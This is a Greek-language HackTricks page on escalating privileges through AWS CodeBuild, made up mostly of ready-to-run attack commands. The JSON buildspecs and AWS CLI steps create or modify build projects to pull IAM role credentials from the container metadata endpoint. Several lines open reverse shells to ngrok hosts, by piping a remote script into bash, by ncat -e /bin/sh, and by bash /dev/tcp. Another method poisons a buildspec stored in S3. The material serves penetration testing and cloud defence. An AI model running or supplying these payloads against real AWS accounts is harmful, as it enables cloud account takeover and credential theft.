AWS - Codebuild Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

codebuild

Βρείτε περισσότερες πληροφορίες:

AWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Ένας επιτιθέμενος με τα δικαιώματα iam:PassRole, codebuild:CreateProject, και codebuild:StartBuild ή codebuild:StartBuildBatch θα μπορούσε να εξελίξει τα προνόμια σε οποιοδήποτε ρόλο IAM του codebuild δημιουργώντας έναν ενεργό.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.

Σε ένα container Codebuild, το αρχείο /codebuild/output/tmp/env.sh περιέχει όλες τις μεταβλητές περιβάλλοντος που χρειάζονται για να έχετε πρόσβαση στα διαπιστευτήρια μεταδεδομένων.

Αυτό το αρχείο περιέχει τη μεταβλητή περιβάλλοντος AWS_CONTAINER_CREDENTIALS_RELATIVE_URI που περιέχει τη διαδρομή URL για την πρόσβαση στα διαπιστευτήρια. Θα είναι κάτι σαν αυτό /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Προσθέστε αυτό στο URL http://169.254.170.2/ και θα μπορείτε να ανακτήσετε τα διαπιστευτήρια του ρόλου.

Επιπλέον, περιέχει επίσης τη μεταβλητή περιβάλλοντος ECS_CONTAINER_METADATA_URI που περιέχει το πλήρες URL για να λάβετε πληροφορίες μεταδεδομένων σχετικά με το container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Όπως και στην προηγούμενη ενότητα, αν αντί να δημιουργήσετε ένα έργο κατασκευής μπορείτε να το τροποποιήσετε, μπορείτε να υποδείξετε τον ρόλο IAM και να κλέψετε το διακριτικό.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Όπως και στην προηγούμενη ενότητα αλλά χωρίς την άδεια iam:PassRole, μπορείτε να καταχραστείτε αυτές τις άδειες για τροποποίηση υπαρχόντων έργων Codebuild και πρόσβαση στον ρόλο που έχουν ήδη ανατεθεί.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους συνδεδεμένους ρόλους AWS Codebuild.

SSM

Έχοντας επαρκή δικαιώματα για να ξεκινήσετε μια συνεδρία ssm, είναι δυνατόν να μπείτε μέσα σε ένα έργο Codebuild που υποδέχεται.

Το έργο codebuild θα πρέπει να έχει ένα σημείο αναμονής:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Και μετά:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Για περισσότερες πληροφορίες ελέγξτε τα έγγραφα.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια διαδικασία κατασκευής ενός συγκεκριμένου έργου CodeBuild το οποίο αποθηκεύει το αρχείο buildspec.yml σε ένα κάδο S3 στον οποίο ο επιτιθέμενος έχει πρόσβαση εγγραφής, μπορεί να λάβει εκτέλεση εντολών στη διαδικασία CodeBuild.

Σημείωση: η εξέλιξη είναι σχετική μόνο εάν ο εργαζόμενος του CodeBuild έχει έναν διαφορετικό ρόλο, ελπίζουμε με περισσότερα προνομιούχα δικαιώματα, από αυτόν του επιτιθέμενου.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Μπορείτε να χρησιμοποιήσετε κάτι τέτοιο builspec για να πάρετε ένα αντίστροφο κέλυφος:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Επίπτωση: Άμεση αύξηση προνομίων στον ρόλο που χρησιμοποιεί ο εργαζόμενος AWS CodeBuild που συνήθως έχει υψηλά προνόμια.

Σημειώστε ότι το buildspec μπορεί να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαζόταν να κατεβάσει, αποσυμπιέσει, τροποποιήσει το buildspec.yml από τον ριζικό κατάλογο, να συμπιέσει ξανά και να μεταφορτώσει.

Περισσότερες λεπτομέρειες μπορούν να βρεθούν εδώ.

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους συνδεδεμένους ρόλους AWS Codebuild.

Last updated